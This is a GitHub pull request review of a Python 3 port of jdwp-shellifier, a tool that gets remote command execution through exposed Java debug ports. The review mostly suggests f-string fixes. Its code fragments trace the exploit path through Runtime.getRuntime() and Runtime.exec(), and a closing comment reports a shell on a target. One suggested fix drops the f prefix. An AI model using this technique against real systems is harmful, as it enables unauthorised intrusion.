Open
Conversation
hugsy
suggested changes
Aug 21, 2021
Contributor
hugsy
left a comment
There was a problem hiding this comment.
Great stuff, some things to change before merge
| def runtime_exec(jdwp, args): | ||
| print ("[+] Targeting '%s:%d'" % (args.target, args.port)) | ||
| print ("[+] Reading settings for '%s'" % jdwp.version) | ||
| print(("[+] Targeting '%s:%d'" % (args.target, args.port))) |
Contributor
There was a problem hiding this comment.
Double parenthesis, also if we jump to Py 3.9 might as well use more goodies: here f-strings
Suggested change
| print(("[+] Targeting '%s:%d'" % (args.target, args.port))) | |
| print(f"[+] Targeting '{args.target}:{args.port}'") |
| print ("[+] Targeting '%s:%d'" % (args.target, args.port)) | ||
| print ("[+] Reading settings for '%s'" % jdwp.version) | ||
| print(("[+] Targeting '%s:%d'" % (args.target, args.port))) | ||
| print(("[+] Reading settings for '%s'" % jdwp.version)) |
Contributor
There was a problem hiding this comment.
Suggested change
| print(("[+] Reading settings for '%s'" % jdwp.version)) | |
| print(f"[+] Reading settings for '{jdwp.version}'") |
| print ("[-] Cannot find method Runtime.getRuntime()") | ||
| return False | ||
| print ("[+] Found Runtime.getRuntime(): id=%x" % getRuntimeMeth["methodId"]) | ||
| print(("[+] Found Runtime.getRuntime(): id=%x" % getRuntimeMeth["methodId"])) |
Contributor
There was a problem hiding this comment.
Suggested change
| print(("[+] Found Runtime.getRuntime(): id=%x" % getRuntimeMeth["methodId"])) | |
| print("[+] Found Runtime.getRuntime(): id={getRuntimeMeth['methodId']:x}") |
| c = jdwp.get_class_by_name( args.break_on_class ) | ||
| if c is None: | ||
| print("[-] Could not access class '%s'" % args.break_on_class) | ||
| print(("[-] Could not access class '%s'" % args.break_on_class)) |
Contributor
There was a problem hiding this comment.
Suggested change
| print(("[-] Could not access class '%s'" % args.break_on_class)) | |
| print(f"[-] Could not access class '{args.break_on_class}'") |
| m = jdwp.get_method_by_name( args.break_on_method ) | ||
| if m is None: | ||
| print("[-] Could not access method '%s'" % args.break_on) | ||
| print(("[-] Could not access method '%s'" % args.break_on)) |
Contributor
There was a problem hiding this comment.
Suggested change
| print(("[-] Could not access method '%s'" % args.break_on)) | |
| print(f"[-] Could not access method '{args.break_on}'") |
| print("[-] Failed to invoke Runtime.getRuntime()") | ||
| return False | ||
| print ("[+] Runtime.getRuntime() returned context id:%#x" % rt) | ||
| print(("[+] Runtime.getRuntime() returned context id:%#x" % rt)) |
Contributor
There was a problem hiding this comment.
Suggested change
| print(("[+] Runtime.getRuntime() returned context id:%#x" % rt)) | |
| print(f"[+] Runtime.getRuntime() returned context id:{rt:#x}") |
| print ("[-] Cannot find method Runtime.exec()") | ||
| return False | ||
| print ("[+] found Runtime.exec(): id=%x" % execMeth["methodId"]) | ||
| print(("[+] found Runtime.exec(): id=%x" % execMeth["methodId"])) |
Contributor
There was a problem hiding this comment.
Suggested change
| print(("[+] found Runtime.exec(): id=%x" % execMeth["methodId"])) | |
| print(f"[+] found Runtime.exec(): id={execMeth['methodId']:x}") |
|
|
||
| retId = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize]) | ||
| print ("[+] Runtime.exec() successful, retId=%x" % retId) | ||
| print(("[+] Runtime.exec() successful, retId=%x" % retId)) |
Contributor
There was a problem hiding this comment.
Suggested change
| print(("[+] Runtime.exec() successful, retId=%x" % retId)) | |
| print(f"[+] Runtime.exec() successful, retId={retId:x}") |
| except Exception as e: | ||
| print ("[-] Exception: %s" % e) | ||
| traceback.print_exc() | ||
| print(("[-] Exception: %s" % e)) |
Contributor
There was a problem hiding this comment.
Suggested change
| print(("[-] Exception: %s" % e)) | |
| print(f"[-] Exception: {str(e)}") |
| # JDWP protocol variables | ||
| # | ||
| HANDSHAKE = "JDWP-Handshake" | ||
| HANDSHAKE = b"JDWP-Handshake" |
Contributor
There was a problem hiding this comment.
Can you also edit the README too to mention the script requires Python3 (tested on Python 3.9)?
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Greetings, jdwp-shellifier will still happily hand over shell in 2021 although Python 2 is getting harder to find. I managed to get system info and commands executed under Python 3.9 and while breaking on default java.net.ServerSocket.accept method.